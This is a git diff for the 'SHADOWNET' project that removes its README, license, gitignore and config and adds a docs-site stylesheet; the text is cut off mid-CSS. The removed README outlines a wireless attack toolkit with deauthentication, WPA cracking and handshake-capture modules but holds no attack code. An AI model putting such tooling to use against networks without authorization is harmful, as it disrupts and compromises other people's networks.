diff --git a/.gitignore b/.gitignore deleted file mode 100644 index 8f34a23..0000000 --- a/.gitignore +++ /dev/null @@ -1,298 +0,0 @@ -# Byte-compiled / optimized / DLL files -__pycache__/ -*.py[cod] -*$py.class - -# C extensions -*.so - -# Distribution / packaging -.Python -build/ -develop-eggs/ -dist/ -downloads/ -eggs/ -.eggs/ -lib/ -lib64/ -parts/ -sdist/ -var/ -wheels/ -share/python-wheels/ -*.egg-info/ -.installed.cfg -*.egg -MANIFEST - -# PyInstaller -# Usually these files are written by a python script from a template -# before PyInstaller builds the exe, so as to inject date/other infos into it. -*.manifest -*.spec - -# Installer logs -pip-log.txt -pip-delete-this-directory.txt - -# Unit test / coverage reports -htmlcov/ -.tox/ -.nox/ -.coverage -.coverage.* -.cache -nosetests.xml -coverage.xml -*.cover -*.py,cover -.hypothesis/ -.pytest_cache/ -cover/ - -# Translations -*.mo -*.pot - -# Django stuff: -*.log -local_settings.py -db.sqlite3 -db.sqlite3-journal - -# Flask stuff: -instance/ -.webassets-cache - -# Scrapy stuff: -.scrapy - -# Sphinx documentation -docs/_build/ - -# PyBuilder -.pybuilder/ -target/ - -# Jupyter Notebook -.ipynb_checkpoints - -# IPython -profile_default/ -ipython_config.py - -# pyenv -# For a library or package, you might want to ignore these files since the code is -# intended to run in multiple environments; otherwise, check them in: -# .python-version - -# pipenv -# According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control. -# However, in case of collaboration, if having platform-specific dependencies or dependencies -# having no cross-platform support, pipenv may install dependencies that don't work, or not -# install all needed dependencies. -#Pipfile.lock - -# poetry -# Similar to Pipfile.lock, it is generally recommended to include poetry.lock in version control. -# This is especially recommended for binary packages to ensure reproducibility, and is more -# commonly ignored for libraries. -# https://python-poetry.org/docs/basic-usage/#commit-your-poetrylock-file-to-version-control -#poetry.lock - -# pdm -# Similar to Pipfile.lock, it is generally recommended to include pdm.lock in version control. -#pdm.lock -# pdm stores project-wide configurations in .pdm.toml, but it is recommended to not include it -# in version control. -# https://pdm.fming.dev/#use-with-ide -.pdm.toml - -# PEP 582; used by e.g. github.com/David-OConnor/pyflow and github.com/pdm-project/pdm -__pypackages__/ - -# Celery stuff -celerybeat-schedule -celerybeat.pid - -# SageMath parsed files -*.sage.py - -# Environments -.env -.venv -env/ -venv/ -ENV/ -env.bak/ -venv.bak/ -.gitignore -# Spyder project settings -.spyderproject -.spyproject - -# Rope project settings -.ropeproject - -# mkdocs documentation -/site - -# mypy -.mypy_cache/ -.dmypy.json -dmypy.json - -# Pyre type checker -.pyre/ - -# pytype static type analyzer -.pytype/ - -# Cython debug symbols -cython_debug/ - -# PyCharm -# JetBrains specific template is maintained in a separate JetBrains.gitignore that can -# be added to the global gitignore or merged into this project gitignore. For a PyCharm -# project, it is recommended to use the following settings: -# https://github.com/github/gitignore/blob/main/Global/JetBrains.gitignore -# Uncomment the following line if you want to ignore the entire idea folder. -#.idea/ - -# VS Code -.vscode/ -*.code-workspace - -# Sublime Text -*.sublime-project -*.sublime-workspace - -# Vim -*.swp -*.swo -*~ - -# Emacs -*~ -\#*\# -/.emacs.desktop -/.emacs.desktop.lock -*.elc -auto-save-list -tramp -.\#* - -# Project specific ignores -# ====================== - -# Network scan results -network_scan_*.json -hidden_networks_scan_*.json -scan_results.json -results.json -*.pcap -*.cap - -# Log files -*.log -scan.log -debug.log - -# Temporary files -*.tmp -*.temp -temp/ -tmp/ - -# Backup files -*.bak -*.backup -*~ - -# OS specific files -# ================= - -# macOS -.DS_Store -.AppleDouble -.LSOverride -Icon? -._* -.DocumentRevisions-V100 -.fseventsd -.Spotlight-V100 -.TemporaryItems -.Trashes -.VolumeIcon.icns -.com.apple.timemachine.donotpresent -.AppleDB -.AppleDesktop -Network Trash Folder -Temporary Items -.apdisk - -# Windows -Thumbs.db -Thumbs.db:encryptable -ehthumbs.db -ehthumbs_vista.db -*.stackdump -[Dd]esktop.ini -$RECYCLE.BIN/ -*.cab -*.msi -*.msix -*.msm -*.msp -*.lnk - -# Linux -*~ -.fuse_hidden* -.directory -.Trash-* -.nfs* - -# Network scanner specific -# ======================== - -# Monitor mode interface files -monitor_*.conf - -# Captured packet files -*.pcap -*.pcapng -*.cap - -# Configuration backups -config.ini.bak -config.ini.backup - -# Output directories -output/ -results/ -scans/ -captures/ - -# Test files -test_output/ -test_results/ -test_*.json - -# Documentation builds -docs/build/ -docs/_build/ - -# IDE and editor files -.idea/ -.vscode/ -*.swp -*.swo -*~ - -# Virtual environments -venv/ -.venv/ -env/ -.env/ diff --git a/.vscode/settings.json b/.vscode/settings.json new file mode 100644 index 0000000..6f3a291 --- /dev/null +++ b/.vscode/settings.json @@ -0,0 +1,3 @@ +{ + "liveServer.settings.port": 5501 +} \ No newline at end of file diff --git a/LICENSE b/LICENSE deleted file mode 100644 index 68ec6c6..0000000 --- a/LICENSE +++ /dev/null @@ -1,21 +0,0 @@ -MIT License - -Copyright (c) 2025 Muhammad Bilal - -Permission is hereby granted, free of charge, to any person obtaining a copy -of this software and associated documentation files (the "Software"), to deal -in the Software without restriction, including without limitation the rights -to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -copies of the Software, and to permit persons to whom the Software is -furnished to do so, subject to the following conditions: - -The above copyright notice and this permission notice shall be included in all -copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE -SOFTWARE. diff --git a/README.md b/README.md deleted file mode 100644 index d861d73..0000000 --- a/README.md +++ /dev/null @@ -1,148 +0,0 @@ -# SHADOWNET v2.0 - -```python - /$$$$$$ /$$ /$$ /$$$$$$ /$$$$$$$ /$$$$$$ /$$ /$$ /$$ /$$ /$$$$$$$$ /$$$$$$$$ - /$$__ $$| $$ | $$ /$$__ $$| $$__ $$ /$$__ $$| $$ /$ | $$| $$$ | $$| $$_____/|__ $$__/ -| $$ \__/| $$ | $$| $$ \ $$| $$ \ $$| $$ \ $$| $$ /$$$| $$| $$$$| $$| $$ | $$ -| $$$$$$ | $$$$$$$$| $$$$$$$$| $$ | $$| $$ | $$| $$/$$ $$ $$| $$ $$ $$| $$$$$ | $$ - \____ $$| $$__ $$| $$__ $$| $$ | $$| $$ | $$| $$$$_ $$$$| $$ $$$$| $$__/ | $$ - /$$ \ $$| $$ | $$| $$ | $$| $$ | $$| $$ | $$| $$$/ \ $$$| $$\ $$$| $$ | $$ -| $$$$$$/| $$ | $$| $$ | $$| $$$$$$$/| $$$$$$/| $$/ \ $$| $$ \ $$| $$$$$$$$ | $$ - \______/ |__/ |__/|__/ |__/|_______/ \______/ |__/ \__/|__/ \__/|________/ |__/ - -``` - - -SHADOWNET is an advanced network security testing toolkit designed for authorized penetration testing and security research. - - - -## CORE MODULES - -
- Click to View All Core Modules - -### 01 - NETWORK RECONNAISSANCE -- Target network discovery -- Host enumeration -- Service identification - -### 02 - HIDDEN SSID DISCOVERY -- Advanced wireless network scanning -- Hidden access point detection -- SSID correlation analysis - -### 03 - ACCESS POINT ANALYSIS -- Wireless interface management -- Monitor mode configuration -- Detailed network information - -### 04 - DEAUTH OPERATIONS -- Deauthentication attacks -- Client disconnection -- Network disruption testing - -### 05 - WIRELESS BRUTEFORCE -- WPA/WPA2 password cracking -- Dictionary-based attacks -- Handshake analysis - -### 06 - HANDSHAKE CAPTURE -- WPA handshake collection -- Targeted packet capture -- Authentication monitoring - -### 07 - DICTIONARY ATTACK -- Custom wordlist selection -- Password list management -- Automated cracking - -### 08 - SYSTEM INFILTRATION -- Port scanning -- Service enumeration -- Vulnerability assessment - -### 09 - WORDLIST MANAGEMENT -- View and analyze wordlists -- Create custom wordlists -- Merge multiple wordlists -- Download popular wordlists - -### 10 - FILE OPERATIONS -- Capture file analysis -- Format conversion -- Handshake verification - -
- -## INSTALLATION - -```bash -git clone https://github.com/0nsec/ShadowNet -cd ShadowNet -sudo chmod +x setup.sh -sudo ./setup.sh -``` - -## USAGE - -### Main Interface -```bash -sudo python3 scan.py -``` - -### Legacy Mode -```bash -sudo python3 scan.py --legacy -``` - -## REQUIREMENTS - -- Linux operating system -- Root privileges -- aircrack-ng suite -- nmap -- wireless-tools -- Python 3.x -- scapy -- netifaces - -## WORDLIST SUPPORT - -The tool now supports multiple wordlist options: - -- **Default wordlist**: Built-in password list (`list.txt`) -- **Custom wordlists**: Specify your own wordlist file path -- **Generated wordlists**: Create custom wordlists with patterns -- **Popular wordlists**: Download rockyou.txt, common passwords, etc. -- **Wordlist management**: View, merge, and analyze wordlists - -## LEGAL DISCLAIMER - -THIS TOOL IS FOR AUTHORIZED SECURITY TESTING ONLY. Users are responsible for complying with local laws and obtaining proper authorization before testing any networks. The developers are not responsible for misuse. - -## FEATURES - -- Interactive menu-driven interface -- Multiple scanning techniques -- Advanced packet analysis -- Custom wordlist generation -- Automated attack modules -- Professional reporting -- Animated-themed UI - -## SUPPORT - -For issues and updates, visit the official repository or contact the 0nsec development team. - -REMEMBER: WITH GREAT POWER COMES GREAT RESPONSIBILITY - - -```python -██████╗ ███╗ ██╗███████╗███████╗ ██████╗ -██╔═████╗████╗ ██║██╔════╝██╔════╝██╔════╝ -██║██╔██║██╔██╗ ██║███████╗█████╗ ██║ -████╔╝██║██║╚██╗██║╚════██║██╔══╝ ██║ -╚██████╔╝██║ ╚████║███████║███████╗╚██████╗ - ╚═════╝ ╚═╝ ╚═══╝╚══════╝╚══════╝ ╚═════╝ -``` diff --git a/config.ini b/config.ini deleted file mode 100644 index c4a0f76..0000000 --- a/config.ini +++ /dev/null @@ -1,55 +0,0 @@ -# Hidden Networks Scanner Configuration -# Advanced configuration options for the scanner - -[scanning] -# Default timeout for scans in seconds -default_timeout = 30 - -# Default interface (leave empty for auto-detection) -default_interface = - -# Enable passive monitoring by default -passive_scan = false - -# Maximum number of networks to display -max_display_networks = 100 - -[output] -# Default output format (json, text, csv) -default_format = text - -# Include timestamp in output files -include_timestamp = true - -# Default output directory -output_directory = ./results - -[detection] -# Minimum signal strength to consider (dBm) -min_signal_strength = -100 - -# Hidden network detection patterns -hidden_patterns = ["", '""', "", "\\x00"] - -# Channels to focus on (empty for all) -preferred_channels = [] - -[security] -# Security protocols to highlight -security_priorities = ["WPA3", "WPA2", "WPA", "WEP", "Open"] - -# Warn about weak security -warn_weak_security = true - -[advanced] -# Enable debug mode -debug = false - -# Number of scan iterations for better accuracy -scan_iterations = 1 - -# Delay between scan iterations (seconds) -iteration_delay = 5 - -# Enable experimental features -experimental = false diff --git a/docs/css/style.css b/docs/css/style.css new file mode 100644 index 0000000..ada3e7d --- /dev/null +++ b/docs/css/style.css @@ -0,0 +1,1180 @@ +/* Base Styles & Variables */ +:root { + --color-bg-primary: #0a0e17; + --color-bg-secondary: #0f1623; + --color-accent-primary: #00c2ff; + --color-accent-secondary: #0057ff; + --color-accent-tertiary: #5c00ff; + --color-text-primary: #ffffff; + --color-text-secondary: #a0a8b7; + --color-text-accent: #00c2ff; + --color-border: rgba(0, 194, 255, 0.1); + --font-primary: 'Rajdhani', sans-serif; + --font-mono: 'Share Tech Mono', monospace; + --glow-primary: 0 0 10px rgba(0, 194, 255, 0.5); + --glow-secondary: 0 0 15px rgba(92, 0, 255, 0.5); + --transition-speed: 0.3s; +} + +* { + margin: 0; + padding: 0; + box-sizing: border-box; +} + +html { + scroll-behavior: smooth; +} + +body { + font-family: var(--font-primary); + background-color: var(--color-bg-primary); + color: var(--color-text-primary); + line-height: 1.6; + overflow-x: hidden; + position: relative; +} + +.container { + width: 100%; + max-width: 1200px; + margin: 0 auto; + padding: 0 2rem; + position: relative; + z-index: 2; +} + +a { + color: var(--color-accent-primary); + text-decoration: none; + transition: all var(--transition-speed); +} + +a:hover { + color: var(--color-accent-secondary); +} + +.btn { + display: inline-flex; + align-items: center; + justify-content: center; + padding: 0.8rem 1.5rem; + border-radius: 4px; + font-weight: 600; + transition: all var(--transition-speed); + cursor: pointer; + font-family: var(--font-primary); + letter-spacing: 0.5px; + gap: 8px; +} + +.btn-primary { + background: linear-gradient(135deg, var(--color-accent-primary), var(--color-accent-secondary)); + color: var(--color-text-primary); + border: none; + box-shadow: var(--glow-primary); +} + +.btn-primary:hover { + transform: translateY(-2px); + box-shadow: var(--glow-primary), 0 5px 15px rgba(0, 194, 255, 0.3); + color: var(--color-text-primary); +} + +.btn-secondary { + background-color: rgba(0, 194, 255, 0.1); + color: var(--color-accent-primary); + border: 1px solid var(--color-accent-primary); +} + +.btn-secondary:hover { + background-color: rgba(0, 194, 255, 0.2); + color: var(--color-accent-primary); + transform: translateY(-2px); +} + +.btn-outline { + background: transparent; + color: var(--color-text-secondary); + border: 1px solid rgba(160, 168, 183, 0.3); +} + +.btn-outline:hover { + color: var(--color-text-primary); + border-color: var(--color-text-secondary); +} + +.btn-download { + background: linear-gradient(135deg, var(--color-accent-secondary), var(--color-accent-tertiary)); + color: var(--color-text-primary); + border: none; + padding: 0.6rem 1.2rem; + font-size: 0.9rem; +} + +.btn-download:hover { + transform: translateY(-2px); + box-shadow: var(--glow-secondary); + color: var(--color-text-primary); +} + +.section-title { + font-size: 2.5rem; + font-weight: 700; + margin-bottom: 1rem; + position: relative; + display: inline-block; +} + +.section-title::after { + content: ''; + position: absolute; + bottom: -10px; + left: 0; + width: 60px; + height: 3px; + background: linear-gradient(90deg, var(--color-accent-primary), transparent); +} + +.section-subtitle { + color: var(--color-text-secondary); + font-size: 1.1rem; + margin-bottom: 3rem; + max-width: 600px; +} + +section { + padding: 6rem 0; + position: relative; + overflow: hidden; +} + +/* Background Effects */ +.noise-overlay { + position: fixed; + top: 0; + left: 0; + width: 100%; + height: 100%; + background-image: url('data:image/png;base64,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'); + opacity: 0.03; + z-index: 1; + pointer-events: none; +} + +.grid-lines { + position: fixed; + top: 0; + left: 0; + width: 100%; + height: 100%; + background-image: linear-gradient(rgba(0, 194, 255, 0.05) 1px, transparent 1px), + linear-gradient(90deg, rgba(0, 194, 255, 0.05) 1px, transparent 1px); + background-size: 50px 50px; + z-index: 0; + pointer-events: none; +} + +/* Navbar Styles */ +.navbar { + position: fixed; + top: 0; + left: 0; + width: 100%; + padding: 1rem 0; + background-color: rgba(10, 14, 23, 0.8); + backdrop-filter: blur(10px); + z-index: 100; + border-bottom: 1px solid var(--color-border); + transition: all var(--transition-speed); +} + +.navbar .container { + display: flex; + justify-content: space-between; + align-items: center; +} + +.navbar.scrolled { + padding: 0.5rem 0; + background-color: rgba(10, 14, 23, 0.95); + box-shadow: 0 5px 20px rgba(0, 0, 0, 0.2); +} + +.logo { + display: flex; + align-items: center; + gap: 10px; +} + +.logo h1 { + font-weight: 700; + font-size: 1.5rem; + letter-spacing: 1px; +} + +.logo span { + color: var(--color-accent-primary); +} + +.logo-icon { + position: relative; + width: 30px; + height: 30px; + display: flex; + align-items: center; + justify-content: center; +} + +.hexagon { + width: 100%; + height: 100%; + background: linear-gradient(135deg, var(--color-accent-primary), var(--color-accent-tertiary)); + clip-path: polygon(50% 0%, 100% 25%, 100% 75%, 50% 100%, 0% 75%, 0% 25%); + position: absolute; + opacity: 0.7; +} + +.logo-icon i { + font-size: 14px; + color: #fff; + position: relative; + z-index: 2; +} + +.nav-links ul { + display: flex; + list-style: none; + gap: 2rem; +} + +.nav-links a { + color: var(--color-text-secondary); + font-weight: 500; + transition: all var(--transition-speed); + padding: 0.5rem 0; + position: relative; +} + +.nav-links a::after { + content: ''; + position: absolute; + width: 0; + height: 2px; + bottom: 0; + left: 0; + background: linear-gradient(90deg, var(--color-accent-primary), transparent); + transition: width var(--transition-speed); +} + +.nav-links a:hover { + color: var(--color-text-primary); +} + +.nav-links a:hover::after { + width: 100%; +} + +.menu-toggle { + display: none; + flex-direction: column; + cursor: pointer; +} + +.bar { + width: 25px; + height: 3px; + background-color: var(--color-text-primary); + margin: 3px 0; + transition: var(--transition-speed); +} + +/* Hero Section */ +.hero { + height: 100vh; + display: flex; + align-items: center; + position: relative; + padding-top: 80px; + overflow: hidden; + background: radial-gradient(circle at 50% 50%, rgba(92, 0, 255, 0.1), rgba(10, 14, 23, 0) 70%); +} + +.hero-content { + max-width: 600px; + animation: fadeInUp 1s ease; +} + +.hero h1 { + font-size: 4rem; + font-weight: 700; + margin-bottom: 1rem; + line-height: 1.1; + position: relative; + display: inline-block; +} + +.hero .subtitle { + font-size: 1.5rem; + font-weight: 600; + color: var(--color-accent-primary); + margin-bottom: 1.5rem; +} + +.hero .description { + color: var(--color-text-secondary); + font-size: 1.1rem; + margin-bottom: 2rem; + max-width: 500px; +} + +.cta-buttons { + display: flex; + gap: 1rem; +} + +.hero-image { + position: relative; + flex: 1; + display: flex; + justify-content: center; + align-items: center; + animation: fadeIn 1.5s ease; +} + +.terminal { + width: 100%; + max-width: 500px; + background-color: #0c1221; + border-radius: 8px; + overflow: hidden; + box-shadow: 0 10px 30px rgba(0, 0, 0, 0.4), 0 0 20px rgba(0, 194, 255, 0.1); + margin-left: 2rem; + border: 1px solid rgba(0, 194, 255, 0.2); +} + +.terminal-header { + background-color: #0d131f; + padding: 0.7rem 1rem; + display: flex; + align-items: center; + border-bottom: 1px solid rgba(0, 194, 255, 0.1); +} + +.terminal-buttons { + display: flex; + gap: 6px; +} + +.terminal-buttons span { + width: 12px; + height: 12px; + border-radius: 50%; + display: block; +} + +.terminal-buttons span:nth-child(1) { + background-color: #ff5f57; +} + +.terminal-buttons span:nth-child(2) { + background-color: #febc2e; +} + +.terminal-buttons span:nth-child(3) { + background-color: #28c840; +} + +.terminal-title { + margin-left: auto; + margin-right: auto; + font-family: var(--font-mono); + font-size: 0.85rem; + color: var(--color-text-secondary); +} + +.terminal-body { + padding: 1rem; + font-family: var(--font-mono); + font-size: 0.9rem; + height: 300px; + overflow-y: auto; +} + +.terminal-body .line { + margin-bottom: 0.7rem; + opacity: 0; + animation: fadeIn 0.5s ease forwards; +} + +.terminal-body .line:nth-child(1) { + animation-delay: 0.2s; +} + +.terminal-body .line:nth-child(2) { + animation-delay: 0.8s; +} + +.terminal-body .line:nth-child(3) { + animation-delay: 1.4s; +} + +.terminal-body .typing { + position: relative; + color: #00ff9d; + animation: typing 2s steps(40, end) forwards; + white-space: nowrap; + overflow: hidden; + width: 0; +} + +.terminal-body .typing.delayed-1 { + animation-delay: 3s; +} + +.terminal-body .typing.delayed-2 { + animation-delay: 5s; +} + +.terminal-body .prompt { + animation: blink 1s infinite; + animation-delay: 6.5s; +} + +.hero-overlay { + position: absolute; + top: 0; + left: 0; + width: 100%; + height: 100%; + pointer-events: none; + background: radial-gradient(circle at 70% 50%, rgba(0, 194, 255, 0.05) 0%, transparent 60%); +} + +.scrolling-code { + position: absolute; + top: 0; + left: 0; + width: 100%; + height: 100%; + background-image: url('data:image/svg+xml;utf8,01001010101001010110100110010110'); + opacity: 0.2; + z-index: -1; + animation: scrollBackground 30s linear infinite; + pointer-events: none; +} + +/* Glitch Effect */ +.glitch { + position: relative; + color: var(--color-text-primary); +} + +.glitch::before, +.glitch::after { + content: attr(data-text); + position: absolute; + top: 0; + left: 0; + width: 100%; + height: 100%; + opacity: 0.8; +} + +.glitch::before { + animation: glitch-effect 3s infinite; + color: var(--color-accent-primary); + clip: rect(44px, 450px, 56px, 0); + left: 1px; +} + +.glitch::after { + animation: glitch-effect 2s infinite; + color: var(--color-accent-tertiary); + clip: rect(44px, 450px, 46px, 0); + left: -1px; +} + +/* Features Section */ +.features { + background-color: var(--color-bg-secondary); + position: relative; + overflow: hidden; +} + +.features::before { + content: ''; + position: absolute; + top: 0; + left: 0; + width: 100%; + height: 100%; + background: radial-gradient(circle at 30% 30%, rgba(92, 0, 255, 0.05), transparent 60%); + z-index: 0; + pointer-events: none; +} + +.features-grid { + display: grid; + grid-template-columns: repeat(auto-fit, minmax(300px, 1fr)); + gap: 2rem; + position: relative; + z-index: 2; +} + +.feature-card { + background-color: rgba(15, 22, 35, 0.7); + border: 1px solid var(--color-border); + border-radius: 8px; + padding: 2rem; + transition: all var(--transition-speed); + position: relative; + overflow: hidden; +} + +.feature-card:hover { + transform: translateY(-5px); + box-shadow: var(--glow-primary); + border-color: var(--color-accent-primary); +} + +.feature-icon { + font-size: 2rem; + margin-bottom: 1.5rem; + color: var(--color-accent-primary); + position: relative; +} + +.feature-card h3 { + font-size: 1.3rem; + margin-bottom: 1rem; +} + +.feature-card p { + color: var(--color-text-secondary); + font-size: 0.95rem; +} + +/* How It Works Section */ +.how-it-works { + background: var(--color-bg-primary); + position: relative; +} + +.how-it-works::after { + content: ''; + position: absolute; + bottom: 0; + left: 0; + width: 100%; + height: 1px; + background: linear-gradient(90deg, transparent, var(--color-accent-primary), transparent); +} + +.workflow { + display: flex; + flex-direction: column; + gap: 3rem; +} + +.workflow-step { + display: flex; + gap: 2rem; +} + +.step-number { + font-size: 3rem; + font-weight: 700; + color: rgba(0, 194, 255, 0.1); + line-height: 1; + min-width: 80px; +} + +.step-content h3 { + font-size: 1.5rem; + margin-bottom: 1rem; + color: var(--color-accent-primary); +} + +.step-content p { + color: var(--color-text-secondary); +} + +/* Demo Section */ +.demo { + background-color: var(--color-bg-secondary); + padding: 8rem 0; +} + +.demo .container { + display: flex; + align-items: center; + gap: 3rem; +} + +.demo-content { + flex: 1; +} + +.demo-video { + flex: 1; + aspect-ratio: 16 / 9; +} + +.video-placeholder { + width: 100%; + height: 100%; + background-color: rgba(15, 22, 35, 0.7); + border: 1px solid var(--color-border); + border-radius: 8px; + position: relative; + display: flex; + align-items: center; + justify-content: center; + overflow: hidden; +} + +.video-placeholder::before { + content: ''; + position: absolute; + top: 0; + left: 0; + width: 100%; + height: 100%; + background: url('data:image/svg+xml;utf8,'); +} + +.play-button { + width: 80px; + height: 80px; + background: rgba(0, 194, 255, 0.2); + border-radius: 50%; + display: flex; + align-items: center; + justify-content: center; + cursor: pointer; + transition: all var(--transition-speed); + z-index: 2; +} + +.play-button i { + font-size: 2rem; + color: var(--color-accent-primary); + margin-left: 5px; +} + +.play-button:hover { + background: rgba(0, 194, 255, 0.4); + transform: scale(1.1); + box-shadow: var(--glow-primary); +} + +/* Download Section */ +.download { + background-color: var(--color-bg-primary); + text-align: center; + position: relative; + overflow: hidden; +} + +.download::before { + content: ''; + position: absolute; + top: 0; + left: 0; + width: 100%; + height: 100%; + background: radial-gradient(circle at 70% 70%, rgba(0, 87, 255, 0.05), transparent 60%); + z-index: 0; + pointer-events: none; +} + +.download-options { + display: flex; + justify-content: center; + gap: 2rem; + margin-bottom: 3rem; + flex-wrap: wrap; +} + +.download-card { + background-color: rgba(15, 22, 35, 0.7); + border: 1px solid var(--color-border); + border-radius: 8px; + padding: 2rem; + width: 200px; + display: flex; + flex-direction: column; + align-items: center; + transition: all var(--transition-speed); +} + +.download-card:hover { + transform: translateY(-5px); + border-color: var(--color-accent-primary); + box-shadow: var(--glow-primary); +} + +.download-icon { + font-size: 3rem; + margin-bottom: 1.5rem; + color: var(--color-accent-primary); +} + +.download-card h3 { + font-size: 1.3rem; + margin-bottom: 1.5rem; +} + +.version { + font-size: 0.8rem; + color: var(--color-text-secondary); + margin-top: 0.5rem; +} + +.install-command { + background-color: rgba(15, 22, 35, 0.7); + border: 1px solid var(--color-border); + border-radius: 8px; + padding: 1rem 1.5rem; + display: flex; + justify-content: space-between; + align-items: center; + max-width: 800px; + margin: 0 auto; + font-family: var(--font-mono); + position: relative; + overflow: hidden; +} + +.install-command code { + color: var(--color-text-secondary); + font-size: 0.9rem; +} + +.copy-btn { + background: transparent; + border: none; + color: var(--color-accent-primary); + cursor: pointer; + padding: 0.5rem; + transition: all var(--transition-speed); +} + +.copy-btn:hover { + color: var(--color-text-primary); + transform: scale(1.1); +} + +/* About Section */ +.about { + background: var(--color-bg-secondary); + position: relative; + overflow: hidden; +} + +.about-content { + max-width: 800px; + margin: 0 auto; + text-align: center; +} + +.stats { + display: flex; + justify-content: center; + gap: 4rem; + margin-top: 3rem; +} + +.stat-item { + text-align: center; +} + +.stat-number { + font-size: 3rem; + font-weight: 700; + color: var(--color-accent-primary); + display: block; + margin-bottom: 0.5rem; +} + +.stat-label { + color: var(--color-text-secondary); + font-size: 0.9rem; +} + +/* Quick Start Section */ +.quick-start { + background-color: var(--color-bg-primary); + position: relative; +} + +.code-blocks { + display: flex; + flex-direction: column; + gap: 1.5rem; + margin-bottom: 3rem; +} + +.code-block { + background-color: rgba(15, 22, 35, 0.7); + border: 1px solid var(--color-border); + border-radius: 8px; + overflow: hidden; +} + +.code-header { + padding: 0.8rem 1rem; + background-color: rgba(0, 194, 255, 0.05); + border-bottom: 1px solid var(--color-border); + display: flex; + justify-content: space-between; + align-items: center; +} + +.code-header span { + color: var(--color-text-secondary); + font-size: 0.9rem; +} + +.code-block pre { + margin: 0; + padding: 1.5rem; + overflow-x: auto; +} + +.code-block code { + font-family: var(--font-mono); + color: var(--color-text-secondary); + font-size: 0.9rem; +} + +.docs-link { + text-align: center; +} + +/* Footer */ +footer { + background-color: var(--color-bg-secondary); + padding: 4rem 0 2rem; + border-top: 1px solid var(--color-border); +} + +.footer-top { + display: flex; + justify-content: space-between; + margin-bottom: 3rem; + flex-wrap: wrap; + gap: 2rem; +} + +.footer-logo { + max-width: 300px; +} + +.footer-links { + display: flex; + gap: 4rem; + flex-wrap: wrap; +} + +.link-group h3 { + color: var(--color-text-primary); + font-size: 